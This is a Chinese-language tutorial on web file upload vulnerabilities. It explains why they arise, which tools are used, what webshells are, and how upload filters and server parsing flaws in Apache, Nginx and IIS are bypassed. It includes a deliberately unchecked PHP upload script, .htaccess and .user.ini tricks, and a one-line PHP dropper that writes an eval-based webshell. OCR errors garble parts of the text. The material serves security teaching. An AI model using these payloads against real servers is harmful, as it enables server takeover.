文件上传漏洞专题
# 文件上传漏洞专题
一、文件上传漏洞基础
web应用程序在处理用户上传的文件操作时,如果用户上传的文件的路径、文件名、扩展名成为用户可控数据,就会导致直接上传脚本木马到web服务器,直接控制web服务器
文件上传:文件上传功能本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做得不够安全,则会导致严重的后果。
文件上传的php代码
<?php
header( "Content -type: text/html; charset=utf-8");
$upload_ dir = ' ./upload/'.$_ FILES[ 'upfile']['name'];
if (move_ uploaded_ file($_ FILES['upfile' ]['tmp_ name'], $upload_ dir ))
{
echo”上传成功"."<br />";
print ($upload_ _dir);
}
?>
造成恶意文件上传的原因
1、文件上传时检查不严
应用在文件上传时根本没有进行文件格式检查,导致攻击者可以直接上传恶意文件。或应用仅仅在客户端进行了检查,而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查,攻击者可以通过NC,Fiddler等断点上传工具绕过客户端的检查
2、文件上传后修改文件名时的处理不当
一些应用在服务器端进行了完整的黑名单和白名单过滤,在修改已上传文件文件名时却百密一疏,允许用户修改文件后缀。如应用只能上传.doc文件时,攻击者可以先将.php文件后缀修改为.doc,成功上传后修改文件文件名时将后缀改回.php。
3、使用第三方插件引用时
好多应用都引用了带有文件。上传功能的第三方插件,这些插件的文件上传功能实现上可能有漏洞,攻击者可通过这些漏洞进行文件上传攻击。
如著名的博客平台WordPress就有丰高的插件,而这些插件中每年都会被挖掘出大量的文件上传漏洞。
文件上传常见问题
(1)上传文件是Web脚本语言,服务器的Web容器解释并执行了胪上传的脚本,导致代码执行。
(2)上传文件 是Flash的策略文件crossdomain.xml,客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);
(3)上传文件是病毒、 构文件,客用以诱骗用户或者管理员下载执行。
(4)上传文件是钓图片或为包含了脚本的图片,在煤些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
(5)上传文件是WebShelI时,击可通过这些网页后]执行命令并控制服务器。
文件上传点
(任何可以上传文件的地方,都可能存在文件上传漏洞)
常见存在文件上传功能的地方
头像、网站logo、友情连接处、编辑器、后台中的文件管理、模板管理、主题管理、插件管理、水印图片处、可以上传图片、添加商品、上传简历、jQuery-File-Upload等
文件上传漏洞常见的地方
●服务器配置不当
●开源编辑器的上传漏洞
●本地文件.上传限制被绕过
●过滤不严或被绕过
●文件解析漏洞 导致文件执行
●文件路径截断
二、文件漏洞之常用工具
BurpSuite
BurpSuite需要配置java环境
中国蚁剑
Burp Proxy原理及基本使用
BurpSui te的核心功能,拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,修改,重放在两个方向上的原始数据流。
三、WebShell介绍
webshell
Webshell就是以asp、php、 jsp或者cgi等网页文件形式存在的一 种命令执行环境,也可以将其称
做为一种网页后门。拆分开来看,”"web"的含义显然是服务器开放的web服务,"hell"的含 义是取得对服务器某种程度上操作权限。由于webshell期多是以动态脚本的形式出现,也有人称之为网站的后门工具。
webshell的作用
一方面,webhell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传 下载文件、查看数据库执行任意程序命令等。另一面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB脚本木马,比较流行的asp或php马,也有基于.NET的脚本杩与JSP脚本木马。
webshell的特性
(1) WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,如"..录就可以达到,站长从FTP中找到的是含有"."的文件夹,且没有权限删除,还有一些隐藏的WEBSHELL,可以隐藏于正常文件带参数运行脚本后门。
(2) webshell可以穿越服务器防火墙,于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并组使用webshell- 般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
四、文件上传漏洞常见的绕过方式
没有过滤:没有对上传的文件做任何的过滤又叫做任意文件上传
前端过滤:前端过滤等于没有过滤
黑名单过滤
1、根据文件类型过滤
文件类型校验就是指HTTP头中的Content-Type,在服务器端进行校验。
Content-Type:也叫互联网媒体类型(Intemet Media Type)或者MIME 型,在HTP协议消息头中,它用来表示具体请求中的媒体类型信息。
例如:
text/html代表HTML格式
image/gif代表GIF片
lmage/png代表GIF明
application/octet-stream二进制流, 不知道文件类型(PHP)
application/json代表JSON型
2、根据文件名进行过滤
根据文件后缀名判断文件是否允许上传,程序会把不允许上传的文件列到一个小本本里,一旦发现上传的文件在小本本中就马上制止。
3、绕过方法
畸形后缀名
4、windows特性
1)上传shell.php
2)NTFS ADS特性
上传shell.php::$DATA
上传test.jpg..
上传1.php<>之类的后缀名
上传1.php:.jpg
1.php:jpg这类文件在上传后,在Windows中会被保存为-个空的1.php文件,然可以再上传一个1.php<>或者1.php<<或者其他Windows不允许的后缀,就会覆盖前边那个空的1.php
5、其他方式
大小写、双写、结合Apache解析漏洞、.htaccess、.user.ini等
白名单过滤
1、白名单过滤
使用白名单限制上传文件类型,通过检测文件内容判断文件类型,限制上传文件只能为一些无危害的文件,包括但不限于: jipg、 png、 bmp、txt、 zip、 rar、 mp3等例如:比如:在用户头像的地方,我们只允许上传图片类型的文件。那么就可以通过以下的方式来检测:
1、前端判断
2、文件类型判断
3、后缀名判断
4、文件内容
2、绕过方式
针对白名单,使用的绕过手法:
1)00截断
2)解析漏洞
3)文件包含
4)条件竞争上传
Web服务器处理多用户请求时,是并发进行的,如果并发处理不当或者是相关的逻辑操作设计的不合理时,就可能导致条件竞争漏洞。
Apache解析漏洞
1、Apache解析漏洞成因
由于Apache识别文件的规则是根据后缀名从右往左进行识别,遇到不在识别范围内就会自动忽略,往左进行识别,如果左边是在解析范围内的就会正常解析,而-般程序进行判断文件是否允许上传是根据最后的后缀名进行判断的。
2、漏洞利用条件
存在于老版本中:Apache2.0 Apache2.2存在解析漏洞
3、.htaccess
(1) .htaccess (超文本访问)许多Web服务器根据目录应用设置的有脑件,允许在运行时覆盖Apache服务器的默认配置。
(2) .htaccess是一 个完整的文件名, 不仅仅文件的扩名。
如果.htaccss的代码如下:
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx解析漏洞
1、配置错误导致的解析漏洞
对于任意文件名,在后面加上/任意文件名php后该文件就会以php格式进行解析,用户配置不当造成的
2、00截断
Nginx版本: 0.5,0.6,0.7 <=0.7.65,0.8 <= 0.8.37
需要很老的版本才可以,00截断也和php版本有关系。
3、CVE-2013-4547
Nginx版本: 0.8.41~1.4.3, 1.5<=1.5.7
使用方法:
(1) . 上传文件名如: 1.jpg空格
(2)问例如: 1.jp..php .
(3)访问的时候抓包,修改后缀为1.jpg[0x20][0x00][0x2e]php (使用burp修改, 调整hex即呵)
(4)修改后进行访问就会发现ipg劉会被当做php解析
4、使用.user.ini绕过黑名单
使用条件:
(1)服务器脚本语言为PHP服务器使用CGI / FastCGI模式
(2)上传目录下要有可执行的php文件 例如: PHP study中使用nginx中间件的时候就可以进行实验。
使用方式:
(1)上传一张图片
(2)上传 .user.ini文件。内容为:auto_prepend_file=2.png (这一句即可)
(3)访问: htp://P/pload/2.png/xx.php (目录中存在的一个php文件)
IIS解析漏洞
1、 IIS 5.x-6.x
(1)目录解析 www.xxx.com/xx.asp/xx.jpg
(2)文件解析 www.xxx.com/xx.asp;jpg
2、 IIS 7.0-7.5
Upload/1.jpg/* .php
我们把下面的代码,插入到-张图片中。
<?php fputs(fopen('shell.php','w"),'<?php @eval(S_ POST[x])?>')?>
那么,访问x.x.x/upload/1.jpg/.php,就会在当前目录生成一个木马